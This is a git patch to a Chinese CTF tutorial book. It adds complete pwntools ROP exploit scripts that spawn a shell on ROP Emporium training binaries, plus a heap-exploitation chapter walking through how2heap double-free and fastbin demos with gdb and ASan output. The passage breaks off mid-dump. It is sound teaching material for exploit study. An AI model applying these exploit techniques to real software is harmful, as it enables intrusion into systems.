From 67504aa4cc0d65490af6a216bcfa10adb33fe634 Mon Sep 17 00:00:00 2001 From: firmianay Date: Fri, 5 Jan 2018 17:28:09 +0800 Subject: [PATCH] update 3.3.5 --- README.md | 2 +- SUMMARY.md | 2 +- doc/3.3.4_rop.md | 237 +++++++- doc/3.3.5_heap_exploit.md | 533 ++++++++++++++++++ doc/3.3.5_heap_overflow.md | 1 - doc/3_topics.md | 2 +- doc/6.1.9_rhme3_exploitation.md | 8 +- src/Others/3.3.5_heap_exploit/Makefile | 8 + src/Others/3.3.5_heap_exploit/fastbin_dup.c | 34 ++ .../fastbin_dup_into_stack.c | 38 ++ src/Others/3.3.5_heap_exploit/first_fit.c | 24 + 11 files changed, 854 insertions(+), 35 deletions(-) create mode 100644 doc/3.3.5_heap_exploit.md delete mode 100644 doc/3.3.5_heap_overflow.md create mode 100644 src/Others/3.3.5_heap_exploit/Makefile create mode 100644 src/Others/3.3.5_heap_exploit/fastbin_dup.c create mode 100644 src/Others/3.3.5_heap_exploit/fastbin_dup_into_stack.c create mode 100644 src/Others/3.3.5_heap_exploit/first_fit.c diff --git a/README.md b/README.md index 7bd0806..76ce998 100644 --- a/README.md +++ b/README.md @@ -69,7 +69,7 @@ - [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) - [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) - [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - - [3.3.5 堆溢出](doc/3.3.5_heap_overflow.md) + - [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) - [3.4 Web](doc/3.4_web.md) - [3.5 Misc](doc/3.5_misc.md) - [3.6 Mobile](doc/3.6_mobile.md) diff --git a/SUMMARY.md b/SUMMARY.md index 9511e69..020c6ef 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -60,7 +60,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) * [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) * [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - * [3.3.5 堆溢出](doc/3.3.5_heap_overflow.md) + * [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) * [3.4 Web](doc/3.4_web.md) * [3.5 Misc](doc/3.5_misc.md) * [3.6 Mobile](doc/3.6_mobile.md) diff --git a/doc/3.3.4_rop.md b/doc/3.3.4_rop.md index 07747b1..fa54d18 100644 --- a/doc/3.3.4_rop.md +++ b/doc/3.3.4_rop.md @@ -18,7 +18,6 @@ - [fluff](#fluff) - [pivot32](#pivot32) - [pivot](#pivot) -- [练习](#练习) - [更多资料](#更多资料) @@ -384,8 +383,7 @@ $ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split3 ```python from zio import * -payload = "" -payload += "A"*44 +payload = "A"*44 payload += l32(0x08048430) payload += "BBBB" payload += l32(0x0804a030) @@ -454,8 +452,7 @@ End of assembler dump. ```python from zio import * -payload = "" -payload += "A"*40 +payload = "A"*40 payload += l64(0x00400883) payload += l64(0x00601060) payload += l64(0x4005e0) @@ -500,8 +497,7 @@ Searching for ROP gadget: 'add esp, 8' in: binary ranges ```python from zio import * -payload = "" -payload += "A"*44 +payload = "A"*44 payload += l32(0x080485c0) payload += l32(0x080488a9) @@ -539,8 +535,7 @@ payload 如下: ```python from zio import * -payload = "" -payload += "A"*40 +payload = "A"*40 payload += l64(0x00401ab0) payload += l64(0x1) + l64(0x2) + l64(0x3) @@ -621,7 +616,36 @@ ROPE{a_placeholder_32byte_flag!} #### write4 64 位程序就可以一次性写入了。 +``` +$ ropgadget --binary write4 --only "mov|pop|ret" +... +0x0000000000400820 : mov qword ptr [r14], r15 ; ret +0x0000000000400890 : pop r14 ; pop r15 ; ret +0x0000000000400893 : pop rdi ; ret +``` +```python +from pwn import * +pop_r14_r15 = 0x0000000000400890 +mov_r14_r15 = 0x0000000000400820 +pop_rdi = 0x0000000000400893 +data_addr = 0x0000000000601050 +system_plt = 0x004005e0 + +payload = "A"*40 +payload += p64(pop_r14_r15) +payload += p64(data_addr) +payload += "/bin/sh\x00" +payload += p64(mov_r14_r15) +payload += p64(pop_rdi) +payload += p64(data_addr) +payload += p64(system_plt) + +io = process('./write4') +io.recvuntil('>') +io.sendline(payload) +io.interactive() +``` #### badchars32 在这个挑战中,我们依然要将 `/bin/sh` 写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 `checkBadchars()`: @@ -712,8 +736,7 @@ while(1): break # write -payload = "" -payload += "A"*44 +payload = "A"*44 payload += l32(pop_esi_edi) payload += binsh[:4] payload += l32(data_addr) @@ -742,6 +765,62 @@ io.interact() #### badchars 64 位程序也是一样的,注意参数传递就好了。 +``` +$ ropgadget --binary badchars --only "mov|pop|ret|xor" +... +0x0000000000400b34 : mov qword ptr [r13], r12 ; ret +0x0000000000400b3b : pop r12 ; pop r13 ; ret +0x0000000000400b40 : pop r14 ; pop r15 ; ret +0x0000000000400b30 : xor byte ptr [r15], r14b ; ret +0x0000000000400b39 : pop rdi ; ret +``` +```python +from pwn import * + +pop_r12_r13 = 0x0000000000400b3b +mov_r13_r12 = 0x0000000000400b34 +pop_r14_r15 = 0x0000000000400b40 +xor_r15_r14b = 0x0000000000400b30 +pop_rdi = 0x0000000000400b39 + +system_plt = 0x00000000004006f0 +data_addr = 0x0000000000601000 + +badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73] +xor_byte = 0x1 +while(1): + binsh = "" + for i in "/bin/sh\x00": + c = ord(i) ^ xor_byte + if c in badchars: + xor_byte += 1 + break + else: + binsh += chr(c) + if len(binsh) == 8: + break + +payload = "A"*40 +payload += p64(pop_r12_r13) +payload += binsh +payload += p64(data_addr) +payload += p64(mov_r13_r12) + +for i in range(len(binsh)): + payload += p64(pop_r14_r15) + payload += p64(xor_byte) + payload += p64(data_addr + i) + payload += p64(xor_r15_r14b) + +payload += p64(pop_rdi) +payload += p64(data_addr) +payload += p64(system_plt) + +io = process('./badchars') +io.recvuntil('>') +io.sendline(payload) +io.interactive() +``` #### fluff32 这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 `mov [reg], reg` 这样的 gadgets,我们就从这里出发,倒推所需的 gadgets。 @@ -769,8 +848,7 @@ xor_edx_edx = 0x08048671 def write_data(data, addr): # addr -> ecx - payload = "" - payload += l32(xor_edx_edx) + payload = l32(xor_edx_edx) payload += "BBBB" payload += l32(pop_ebx) payload += l32(addr) @@ -794,8 +872,7 @@ def write_data(data, addr): return payload -payload = "" -payload += "A"*44 +payload = "A"*44 payload += write_data("/bin", data_addr) payload += write_data("/sh\x00", data_addr + 4) @@ -811,6 +888,62 @@ io.interact() #### fluff 提示:在使用 ropgadget 搜索时加上参数 `--depth` 可以得到更大长度的 gadgets。 +``` +$ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20 +... +0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret +0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret +0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret +0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret +0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret +``` +```python +from pwn import * + +system_plt = 0x004005e0 +data_addr = 0x0000000000601050 + +xor_r11_r11 = 0x0000000000400822 +xor_r11_r12 = 0x000000000040082f +xchg_r11_r10 = 0x0000000000400840 +mov_r10_r11 = 0x000000000040084c +pop_r12 = 0x0000000000400832 + +def write_data(data, addr): + # addr -> r10 + payload = p64(xor_r11_r11) + payload += "BBBBBBBB" + payload += p64(pop_r12) + payload += p64(addr) + payload += p64(xor_r11_r12) + payload += "BBBBBBBB" + payload += p64(xchg_r11_r10) + payload += "BBBBBBBB" + + # data -> r11 + payload += p64(xor_r11_r11) + payload += "BBBBBBBB" + payload += p64(pop_r12) + payload += data + payload += p64(xor_r11_r12) + payload += "BBBBBBBB" + + # r11 -> [r10] + payload += p64(mov_r10_r11) + payload += "BBBBBBBB"*2 + payload += p64(0) + + return payload + +payload = "A"*40 +payload += write_data("/bin/sh\x00", data_addr) +payload += p64(system_plt) + +io = process('./fluff') +io.recvuntil('>') +io.sendline(payload) +io.interactive() +``` #### pivot32 这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。 @@ -876,8 +1009,7 @@ leakaddr = int(io.recv().split()[20], 16) # calls foothold_function() to populate its GOT entry, then queries that value into EAX #gdb.attach(io) -payload_1 = "" -payload_1 += p32(foothold_plt) +payload_1 = p32(foothold_plt) payload_1 += p32(pop_eax) payload_1 += p32(foothold_got_plt) payload_1 += p32(mov_eax_eax) @@ -889,12 +1021,10 @@ payload_1 += p32(call_eax) io.sendline(payload_1) # ebp = leakaddr-4, esp = leave_ret -payload_2 = "" -payload_2 += "A"*40 +payload_2 = "A"*40 payload_2 += p32(leakaddr-4) + p32(leave_ret) io.sendline(payload_2) - print io.recvall() ``` @@ -1249,22 +1379,75 @@ Legend: code, data, rodata, value #### pivot 基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如: ```python -payload_2 = "" -payload_2 += "A" * 40 +payload_2 = "A" * 40 payload_2 += p64(pop_rax) payload_2 += p64(leakaddr) payload_2 += p64(xchg_rax_rsp) ``` - 实际上,我本人正是使用这种方法,因为我在构建 payload 时,`0x0000000000400ae0 <+165>: leave`,leave;ret 的地址存在截断字符 `0a`,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 `0a` 换成非截断字符,之后再使用寄存器将 `0a` 写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。 +``` +$ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret" +0x0000000000400b09 : add rax, rbp ; ret +0x000000000040098e : call rax +0x0000000000400b05 : mov rax, qword ptr [rax] ; ret +0x0000000000400b00 : pop rax ; ret +0x0000000000400900 : pop rbp ; ret +0x0000000000400b02 : xchg rax, rsp ; ret +``` +```python +from pwn import * + +#context.log_level = 'debug' +#context.terminal = ['konsole'] +io = process('./pivot') +elf = ELF('./pivot') +libp = ELF('./libpivot.so') + +leave_ret = 0x0000000000400adf + +foothold_plt = elf.plt['foothold_function'] # 0x400850 +foothold_got_plt = elf.got['foothold_function'] # 0x602048 + +pop_rax = 0x0000000000400b00 +pop_rbp = 0x0000000000400900 +mov_rax_rax = 0x0000000000400b05 +xchg_rax_rsp = 0x0000000000400b02 +add_rax_rbp = 0x0000000000400b09 +call_rax = 0x000000000040098e + +foothold_sym = libp.symbols['foothold_function'] +ret2win_sym = libp.symbols['ret2win'] +offset = int(ret2win_sym - foothold_sym) # 0x14e + +leakaddr = int(io.recv().split()[20], 16) + +# calls foothold_function() to populate its GOT entry, then queries that value into EAX +#gdb.attach(io) +payload_1 = p64(foothold_plt) +payload_1 += p64(pop_rax) +payload_1 += p64(foothold_got_plt) +payload_1 += p64(mov_rax_rax) +payload_1 += p64(pop_rbp) +payload_1 += p64(offset) +payload_1 += p64(add_rax_rbp) +payload_1 += p64(call_rax) + +io.sendline(payload_1) + +# rsp = leakaddr +payload_2 = "A" * 40 +payload_2 += p64(pop_rax) +payload_2 += p64(leakaddr) +payload_2 += p64(xchg_rax_rsp) + +io.sendline(payload_2) +print io.recvall() +``` + 这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。 -## 练习 -ROP Emporium 中有几个 64 位程序在这里没有给出 payload,就留作练习吧,答案都可以在这里找到:[ROP Emporium Writeup](https://firmianay.github.io/2017/11/02/rop_emporium.html) - - ## 更多资料 - [ROP Emporium](https://ropemporium.com) - [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP) diff --git a/doc/3.3.5_heap_exploit.md b/doc/3.3.5_heap_exploit.md new file mode 100644 index 0000000..838794c --- /dev/null +++ b/doc/3.3.5_heap_exploit.md @@ -0,0 +1,533 @@ +# 3.3.5 堆利用 + +- [Linux 堆简介](#linux-堆简介) +- [how2heap](#how2heap) + - [first_fit](#firstfit) + - [fastbin_dup](#fastbindup) + - [fastbin_dup_into_stack](#fastbindupintostack) + - [unsafe_unlink](#unsafeunlink) + - [house_of_spirit](#houseofspirit) + - [poison_null_byte](#poisonnullbyte) + - [house_of_lore](#houseoflore) + - [overlapping_chunks](#overlappingchunks) + - [overlapping_chunks_2](#overlappingchunks2) + - [house_of_force](#houseofforce) + - [unsorted_bin_attack](#unsortedbinattack) + - [house_of_einherjar](#houseofeinherjar) + - [house_of_orange](#houseoforange) +- [参考资料](#参考资料) + + +## Linux 堆简介 +堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2,在 glibc 中实现。 + +更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。 + + +## how2heap +how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境,glibc 版本如下: +``` +$ file /lib/x86_64-linux-gnu/libc-2.23.so +/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped +``` +``` +$ git clone https://github.com/shellphish/how2heap.git +$ cd how2heap +$ make +``` + +请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 `CFLAGS += -fsanitize=address` 可以检测内存错误。[下载文件](../src/Others/3.3.5_heap_exploit) + +#### first_fit +```c +#include +#include +#include + +int main() { + char* a = malloc(512); + char* b = malloc(256); + char* c; + + fprintf(stderr, "1st malloc(512): %p\n", a); + fprintf(stderr, "2nd malloc(256): %p\n", b); + strcpy(a, "AAAAAAAA"); + strcpy(b, "BBBBBBBB"); + fprintf(stderr, "first allocation %p points to %s\n", a, a); + + fprintf(stderr, "Freeing the first one...\n"); + free(a); + + c = malloc(500); + fprintf(stderr, "3rd malloc(500): %p\n", c); + strcpy(c, "CCCCCCCC"); + fprintf(stderr, "3rd allocation %p points to %s\n", c, c); + fprintf(stderr, "first allocation %p points to %s\n", a, a); +} +``` +``` +$ gcc -g first_fit.c +$ ./a.out +1st malloc(512): 0x1380010 +2nd malloc(256): 0x1380220 +first allocation 0x1380010 points to AAAAAAAA +Freeing the first one... +3rd malloc(500): 0x1380010 +3rd allocation 0x1380010 points to CCCCCCCC +first allocation 0x1380010 points to CCCCCCCC +``` +这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。 + +在 gdb 中调试,两个 malloc 之后(chunk 位于 malloc 返回地址减去 0x10 的位置): +``` +gef➤ x/5gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 +gef➤ x/5gx 0x602220-0x10 +0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b +0x602220: 0x4242424242424242 0x0000000000000000 +0x602230: 0x0000000000000000 +``` +第一个 free 之后,将其加入到 unsorted bin 中: +``` +gef➤ x/5gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed] +0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer +0x602020: 0x0000000000000000 +gef➤ x/5gx 0x602220-0x10 +0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b +0x602220: 0x4242424242424242 0x0000000000000000 +0x602230: 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE) +[+] Found 1 chunks in unsorted bin. +``` +第三个 malloc 之后: +``` +gef➤ x/5gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c +0x602010: 0x4343434343434343 0x00007ffff7dd1d00 +0x602020: 0x0000000000000000 +gef➤ x/5gx 0x602220-0x10 +0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b +0x602220: 0x4242424242424242 0x0000000000000000 +0x602230: 0x0000000000000000 +``` + +好了,现在我们加上内存检测参数重新编译: +``` +$ gcc -fsanitize=address -g first_fit.c +$ ./a.out +1st malloc(512): 0x61500000fd00 +2nd malloc(256): 0x611000009f00 +first allocation 0x61500000fd00 points to AAAAAAAA +Freeing the first one... +3rd malloc(500): 0x61500000fa80 +3rd allocation 0x61500000fa80 points to CCCCCCCC +================================================================= +==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58 +READ of size 2 at 0x61500000fd00 thread T0 + #0 0x7f49d14a61e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8) + #1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc) + #2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9) + #3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23 + #4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + #5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878) + +0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00) +freed by thread T0 here: + #0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca) + #1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17 + #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + +previously allocated by thread T0 here: + #0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) + #1 0x400957 in main /home/firmy/how2heap/first_fit.c:6 + #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) +``` +一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。 + +#### fastbin_dup +```c +#include +#include +#include + +int main() { + fprintf(stderr, "Allocating 3 buffers.\n"); + char *a = malloc(9); + char *b = malloc(9); + char *c = malloc(9); + strcpy(a, "AAAAAAAA"); + strcpy(b, "BBBBBBBB"); + strcpy(c, "CCCCCCCC"); + fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a); + fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b); + fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c); + + fprintf(stderr, "Freeing the first one %p.\n", a); + free(a); + fprintf(stderr, "Then freeing another one %p.\n", b); + free(b); + fprintf(stderr, "Freeing the first one %p again.\n", a); + free(a); + + fprintf(stderr, "Allocating 3 buffers.\n"); + char *d = malloc(9); + char *e = malloc(9); + char *f = malloc(9); + strcpy(d, "DDDDDDDD"); + fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d); + strcpy(e, "EEEEEEEE"); + fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e); + strcpy(f, "FFFFFFFF"); + fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f); +} +``` +``` +$ gcc -g fastbin_dup.c +$ ./a.out +Allocating 3 buffers. +1st malloc(9) 0x1c07010 points to AAAAAAAA +2nd malloc(9) 0x1c07030 points to BBBBBBBB +3rd malloc(9) 0x1c07050 points to CCCCCCCC +Freeing the first one 0x1c07010. +Then freeing another one 0x1c07030. +Freeing the first one 0x1c07010 again. +Allocating 3 buffers. +4st malloc(9) 0x1c07010 points to DDDDDDDD the first time +5nd malloc(9) 0x1c07030 points to EEEEEEEE +6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time +``` +这个程序展示了利用 fastbins 的 double-free 攻击。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。 + +三个 malloc 之后: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk +0x602070: 0x0000000000000000 +``` +第一个 free 之后,chunk a 被添加到 fastbins 中: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed] +0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +``` +第二个 free 之后,chunk b 被添加到 fastbins 中: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed] +0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] +0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +``` +第三个 free 之后,chunk a 再次被添加到 fastbins 中: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again] +0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] +0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected] +``` +再三个 malloc 之后: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f +0x602010: 0x4646464646464646 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e +0x602030: 0x4545454545454545 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +``` + +加上内存检测参数重新编译: +``` +$ gcc -fsanitize=address -g fastbin_dup.c +$ ./a.out +Allocating 3 buffers. +1st malloc(9) 0x60200000eff0 points to AAAAAAAA +2nd malloc(9) 0x60200000efd0 points to BBBBBBBB +3rd malloc(9) 0x60200000efb0 points to CCCCCCCC +Freeing the first one 0x60200000eff0. +Then freeing another one 0x60200000efd0. +Freeing the first one 0x60200000eff0 again. +================================================================= +==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0: + #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca) + #1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22 + #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + #3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878) + +0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9) +freed by thread T0 here: + #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca) + #1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18 + #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + +previously allocated by thread T0 here: + #0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) + #1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7 + #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) +``` +一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。 + +#### fastbin_dup_into_stack +```c +#include +#include +#include + +int main() { + unsigned long long stack_var = 0x21; + fprintf(stderr, "Allocating 3 buffers.\n"); + char *a = malloc(9); + char *b = malloc(9); + char *c = malloc(9); + strcpy(a, "AAAAAAAA"); + strcpy(b, "BBBBBBBB"); + strcpy(c, "CCCCCCCC"); + fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a); + fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b); + fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c); + + fprintf(stderr, "Freeing the first one %p.\n", a); + free(a); + fprintf(stderr, "Then freeing another one %p.\n", b); + free(b); + fprintf(stderr, "Freeing the first one %p again.\n", a); + free(a); + + fprintf(stderr, "Allocating 4 buffers.\n"); + unsigned long long *d = malloc(9); + *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); + fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d); + char *e = malloc(9); + strcpy(e, "EEEEEEEE"); + fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e); + char *f = malloc(9); + strcpy(f, "FFFFFFFF"); + fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f); + char *g = malloc(9); + strcpy(g, "GGGGGGGG"); + fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g); +} +``` +``` +$ gcc -g fastbin_dup_into_stack.c +$ ./a.out +Allocating 3 buffers. +1st malloc(9) 0xcf2010 points to AAAAAAAA +2nd malloc(9) 0xcf2030 points to BBBBBBBB +3rd malloc(9) 0xcf2050 points to CCCCCCCC +Freeing the first one 0xcf2010. +Then freeing another one 0xcf2030. +Freeing the first one 0xcf2010 again. +Allocating 4 buffers. +4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0 +5nd malloc(9) 0xcf2030 points to EEEEEEEE +6rd malloc(9) 0xcf2010 points to FFFFFFFF +7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG +``` +这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样。 + +三个 malloc 之后: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk +0x602070: 0x0000000000000000 +``` +三个 free 之后: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice] +0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] +0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 